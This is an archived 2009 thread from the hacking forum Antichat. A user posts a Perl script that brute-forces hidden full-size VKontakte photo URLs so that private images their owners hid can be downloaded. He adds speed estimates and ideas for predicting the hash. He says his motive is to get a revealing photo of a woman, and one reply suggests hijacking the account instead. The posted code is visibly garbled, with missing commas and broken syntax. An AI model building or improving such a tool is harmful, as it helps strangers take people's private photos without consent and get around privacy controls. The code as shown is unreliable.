Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Социальные сети (https://forum.antichat.xyz/forumdisplay.php?f=133)
-   -   vkontakte image bruteforce (https://forum.antichat.xyz/showthread.php?t=132247)

flatr0ze 31.07.2009 11:18

vkontakte image bruteforce
 
Идея заключается в следующем: [в]контакте существуют альбомы с фотографиями, и ксожалению, зачастую полноразмерные картинки скрыты (чаще всего по инициативе пользователя).
Альбомы выглядят вот так: http://vkontakte.ru/album1_63553226
Тамбы имеют адрес вида: http://cs117.vkontakte.ru/u00001/63553226/m_18b46833.jpg
Тогда как полное изображение: http://cs117.vkontakte.ru/u00001/63553226/x_fbca3166.jpg

Следует заметить, что единственное, что отличает тамб от фулпика - это 8 абсолютно_рандомных символа и наличие x_ вместо m_ перед ними. Сервер и папка с изображением и тамбом всегда одна и таже. Символы - вероятно кусок хэша, или еще какая-нибудь мунга-бунга. При любом раскладе, они у этих файлов разные.

Брутфорс осуществляется подбором этих 8 символов двумя способами:
1. По "словарю", что оставлено на случай если можно будет найти закономерность по которым вычисляется комбинация символов.
2. Рандомно, "налету".

8 символов при средней скорости в 50 комбинаций в секунду (проверено из Москвы, стрим), будут брутить одну картинку почти 2 тысячи лет;
2 символа чуть меньше минуты;
3 за 15;
ну а на 4 уйдет 8-10 часов;

При наличии файла на сервере, скрипт сохранит файл в папку инициализации, под именем вида x_hash1234.jpg

Чтобы эта вещь могла принести пользу раньше, чем через тысячу-другую лет, необходимо поднять скорость в 100000 раз (50*100000=5,000,000). Через юрл сделать это не представляется возможным, так что, остается только один путь...

Один путь заключается в нахождении зависимости сгенерированного куска хэша от времени загрузки, размера файла, имени файла, или, на худой конец, от мд5 оригинала. Далее, будет создан другой script.pl, который будет генерировать хэшлист, основываясь на известных параметрах изображения.

Еще более сумасшедний способ генерирования таких хэшлистов, это создание script.pl с "пауком", который сканировал бы все альбомы вконтакте, и логил бы возможные варианты после x_...
на два полных гига целый день уходит...
Зато, данный способ может прокатить, если рандом не такой уж и хороший, и комбинации действительно дублируются.

x_vkontakte.pl

PHP код:

#!/usr/bin/perl
# version: 0.8.4
# author: flatr0ze
# e-mail: flat.rose@gmail.com

use LWP::Simple;

print 
"\n1. Paste the full path of the image thumbnail:\n] ";
chomp($m_path1234 = <STDIN>);

$folder =  substr $m_path12340, -14;
$m_filename =  substr $m_path1234, -14;
$m_hash1234 =  substr $m_filename2, -4;
print 
"Parsing thumbnail...\n\n";
print 
"Image folder: ".$folder."\n";
print 
"Thumbnail filename: ".$m_filename."\n";
print 
"Thumbnail hash: ".$m_hash1234."\n\n";

print 
"2. Enter path to the hashlist, or leave it empty to run hash generator: \n] ";
chomp($hashlist = <STDIN>);

if (
$hashlist) {

    print 
"Loading hashlist...\n\n";

    
open(HASHLIST$hashlist) || die "Error: Could not open hashlist file.\n";

#    $attempts = <number of lines>; // depleted

    
while ($string = <HASHLIST>) {
        
$hash1234 substr $string08;
        if (
length($hash1234) > 7) {
            
$url =  $folder."x_".$hash1234.".jpg";
            if (
head($url)) {
                print 
"File ".$url." exists!\n\n";
                print 
"Saving...\n\n";
                
getstore($url"x_".$hash1234.".jpg");
            } else {
                print 
"File ".$url." doesn't exist.\r\r";
            }
        }
    }

    
close(HASHLIST);

    print 
"\n\nFinished!\n\n";

} else {

    
$attempts 100000000;

    print 
"Starting hash generator with ".$attempts." attempts...\n\n";

    for (
$i 0$i <= $attempts$i++) {
        
$hash1234 generateHash();
        
$url =  $folder."x_".$hash1234.".jpg";
        if (
head($url)) {
            print 
"[".$i."/".$attempts."] ";
            print 
"File ".$url." exists!\n\n";
            print 
"Saving...\n\n";
            
getstore($url"x_".$hash1234.".jpg");
        } else {
            print 
"[".$i."/".$attempts."] ";
            print 
"File ".$url." doesn't exist.\r\r";
        }
    }

    print 
"\n\nFinished.\n\n";

}

sub generateHash {
    
my @chars = ('a'..'z','0'..'9');
    
my $hash;
    for (
0..7) {
        
$hash .= $chars[int rand @chars];
    }
    return 
$hash;



Gordiy 31.07.2009 11:23

оболдеть! вот это теория а на практикке реально такое осуществить?

flatr0ze 31.07.2009 11:33

объясняю еще раз...
эта вещь работает, и проверена мною лично, так как я же её и написал.
единственная проблема - это время:через 2к лет ни компов, ни жпега, ни нас уже не будет.
если найти закономерность генерации этих символов, то картинку из вконтакта можно будет достать любую!

flatr0ze 31.07.2009 11:46

Это даже не обсуждается ;)
Решение может быть в возможной зависимости х_хэша1234 от м_хэша1234
Тут криптография и сложные числа, я здесь сам не справлюсь.

flatr0ze 31.07.2009 12:13

отличные новости! родина-мать тебя не забудет!
спасибо за саппорт!

hiphop191817 31.07.2009 12:52

Интересно только, зачем это всё нужно, если фотографии защищённые настройками приватности можно посмотреть включив "ускоренный режим просмотра фотографий"?

flatr0ze 31.07.2009 12:58

Цитата:

Сообщение от hiphop191817
Интересно только, зачем это всё нужно, если фотографии защищённые настройками приватности можно посмотреть включив "ускоренный режим просмотра фотографий"?

Лично мне - скачать полноразмерную фотку где виден кусок задницы одной клевой тёлы.
Вторая мотивация - это конечно же, интерес!

Что такое "ускоренный режим просмотра фотографий"?

unl1m 31.07.2009 13:04

Спасибо ТС

ViLKaa 31.07.2009 13:16

Хм..написал недавно прогу..
http://forum.antichat.ru/threadnav114377-7-10.html
68й пост..но она качает только открытые альбомы.

Нов процессе разбора заметил..что в большинстве случаев..

попадаются пары отличающиеся только Х

2298267/m_f5a50e8e2e.jpg
2298267/x_f5a50e8e2e.jpg

Далее...если скрыт альбом..то как узнать у фотки это место http://cs40. онож всевремя разное

gluke 31.07.2009 13:30

Цитата:

Сообщение от hiphop191817
Интересно только, зачем это всё нужно, если фотографии защищённые настройками приватности можно посмотреть включив "ускоренный режим просмотра фотографий"?

Этот вариант работает только для "фотографии со мной" но не для альбомов.

ТС молодца, правда имхо проще акк угнать :)


Время: 05:37